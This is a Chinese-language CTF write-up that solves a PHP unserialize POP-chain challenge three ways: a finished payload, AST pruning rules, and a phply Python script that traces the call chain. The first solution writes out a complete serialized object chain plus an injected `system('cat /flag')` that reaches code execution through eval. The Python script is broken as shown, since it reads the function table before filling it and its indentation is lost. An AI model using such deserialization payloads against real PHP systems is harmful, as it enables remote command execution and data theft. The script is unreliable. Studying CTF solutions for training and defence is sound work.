解法1

  1. <?php
  2. include "class.php";
  3. //class.php.txt
  4. highlight_file(__FILE__);
  5. $a = $_GET['pop'];
  6. $b = $_GET['argv'];
  7. $class = unserialize($a);
  8. $class->VfvWSV($b);

然后打开class.php.txt,里面是数不清的class,并且类的函数之间互相调用,最终目的是执行到某一个函数的eval();
首先根据源码给出的$class->VfvWSV($b);,先找到入口函数,然后根据入口函数,遍历查找pop链
因为有些函数的eval会替换其中的参数,又或者for循环中有变量没有声明,所以世界线很多,通过正则去掉无法使用的支线。
运行脚本之后错误的分支都会被删除,然后一步一步从入口函数走即可。
最后得到正确的pop链:

  1. O:6:"NxSzOp":1:{s:7:"g9Gz8D5";O:6:"SqLI93":1:{s:7:"q3TzuyX";O:6:"PAdB0b":1:{s:7:"yd4PAu1";O:6:"uih8dR":1:{s:7:"QBv8Mky";O:6:"ufk8xT":1:{s:7:"nriq1ri";O:6:"bvgkUO":1:{s:7:"TouPwfO";O:6:"WLhhgV":1:{s:7:"LL23R2r";O:6:"fi6gkF":1:{s:7:"znBbdgs";O:6:"q1Vc3P":1:{s:7:"q23bw6Q";O:6:"Biw06g":1:{s:7:"R2i9h27";O:6:"tov2rx":1:{s:7:"x8q1khE";O:6:"lwOfae":1:{s:7:"xh9oF7G";O:6:"oxuMqZ":1:{s:7:"Zq4Yo1n";O:6:"QmN8Sc":1:{s:7:"StDIwnc";O:6:"TRfCQf":1:{s:7:"R6vresf";O:6:"Xo2ibu":1:{s:7:"lEuOPYK";O:6:"Y6f65q":1:{s:7:"QAvIKAV";O:6:"ehs7MG":1:{s:7:"owtTPgS";O:6:"WmfYBg":1:{s:7:"FAf9iSu";O:6:"HWKRg6":1:{s:7:"K3Bmgu5";O:6:"zZe2gg":1:{s:7:"DT5s2SW";O:6:"r3Wg1v":1:{s:7:"eOgquIs";O:6:"LHD4pg":1:{s:7:"r2kBsG0";O:6:"ycSIBI":1:{s:7:"K1SiQMQ";N;}}}}}}}}}}}}}}}}}}}}}}}}&argv=?><?php system('cat /flag');?>

解法2

参考https://www.yuque.com/fosusec/writeup/2021qwb#kLdit
使用 AST 剪切掉用不到的eval函数,根据以下规则过滤:

  1. eval 没被引用,过滤
  2. for 循环中会覆盖传入参数值,过滤
  3. eval 前会覆盖值参数值,过滤
  4. 除了入口函数外,其他函数只被引用一次的,过滤

过滤完毕之后只会剩下一个eval,根据这个eval来反向推出。

解法3

  1. from phply import phplex
  2. from phply.phpparse import make_parser
  3. from phply.phpast import *
  4. import pprint
  5. import nose
  6. parser = make_parser()
  7. func_name = "find your func"
  8. con = open("./qwb/class.php").read()
  9. lexer = phplex.lexer.clone()
  10. lexer.filename = None
  11. output = parser.parse(con, lexer=lexer)
  12. functions = {}
  13. target = functions[func_name]
  14. i = 0
  15. # 强赋值函数直接跳过
  16. skip_func = []
  17. pop_chain = []
  18. pop_chain.append(func_name)
  19. e = False
  20. for out in output:
  21. class_name = out.name
  22. for node in out.nodes:
  23. if(type(node) == Method):
  24. functions[node.name] = out
  25. while(e is False):
  26. for node in target.nodes:
  27. if(type(node) == Method):
  28. if node.name == func_name:
  29. for subnode in node.nodes:
  30. if type(subnode) == MethodCall:
  31. # print(subnode)
  32. if(subnode.name in skip_func):
  33. continue
  34. target = functions[subnode.name]
  35. func_name = subnode.name
  36. pop_chain.append(func_name)
  37. break
  38. if(type(subnode) == If):
  39. # print(subnode)
  40. if type(subnode.node) == MethodCall :
  41. # print(subnode.node.name)
  42. if( subnode.node.name in skip_func):
  43. continue
  44. target = functions[subnode.node.name]
  45. func_name = subnode.node.name
  46. pop_chain.append(func_name)
  47. break
  48. if(type(subnode) == Eval):
  49. e = True
  50. for pop in pop_chain:
  51. print("class " + functions[pop].name + "{")
  52. for node in functions[pop].nodes:
  53. if(type(node) == ClassVariables):
  54. for subnode in node.nodes:
  55. print("public " + subnode.name + ';')
  56. print("public function __construct(){")
  57. if i+1 == len(pop_chain):
  58. print("")
  59. else:
  60. print("$this->" + subnode.name[1:] + "= new " +functions[pop_chain[i+1]].name + "();")
  61. print("}")
  62. print("}")
  63. i += 1
  64. if i == len(pop_chain):
  65. break